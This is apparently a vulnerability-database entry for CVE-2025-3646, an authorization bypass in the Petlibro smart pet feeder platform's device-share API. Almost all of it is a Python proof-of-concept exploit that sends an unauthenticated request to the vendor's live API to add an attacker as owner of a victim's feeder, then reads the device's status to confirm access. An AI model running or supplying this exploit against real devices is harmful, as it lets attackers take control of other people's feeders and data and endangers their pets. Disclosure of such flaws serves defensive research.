CVE-2025-3646 | Petlibro智能宠物喂食器平台设备共享API授权绕过漏洞

import requests import json # CVE-2025-3646 PoC - Petlibro Smart Pet Feeder Authorization Bypass # Target: Petlibro Smart Pet Feeder Platform <= 1.7.31 # Vulnerability: Missing authorization check in device share API TARGET_DEVICE_ID = "TARGET_DEVICE_ID_HERE" # Target device ID ATTACKER_USER_ID = "[email protected]" # Attacker's account API_BASE_URL = "https://api.petlibro.com" # API endpoint def exploit_device_share(): """ Exploit the authorization bypass vulnerability to add attacker as device owner """ # Step 1: Prepare the malicious share request share_payload = { "device_id": TARGET_DEVICE_ID, "share_to": ATTACKER_USER_ID, "permission": "owner" } # Step 2: Send the unauthorized share request # The API does not verify if the requester has permission to share the device headers = { "Content-Type": "application/json", "User-Agent": "PetlibroApp/1.7.31" } try: response = requests.post( f"{API_BASE_URL}/api/device/share", json=share_payload, headers=headers, timeout=10 ) print(f"[*] Request sent to device share API") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: result = response.json() if result.get("success"): print("[+] SUCCESS: Attacker added as device owner!") print(f"[+] Gained unauthorized access to device: {TARGET_DEVICE_ID}") return True print("[-] Exploitation failed") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def verify_access(): """ Verify the attacker now has access to the victim's device """ headers = { "User-Agent": "PetlibroApp/1.7.31", "X-User-Email": ATTACKER_USER_ID } try: response = requests.get( f"{API_BASE_URL}/api/device/{TARGET_DEVICE_ID}/status", headers=headers, timeout=10 ) if response.status_code == 200: print("[+] VERIFIED: Attacker can now view device information") print(f"[+] Device data: {response.text}") return True return False except requests.exceptions.RequestException as e: print(f"[-] Verification failed: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-3646 PoC - Petlibro Device Share Authorization Bypass") print("=" * 60) if exploit_device_share(): verify_access() print("=" * 60)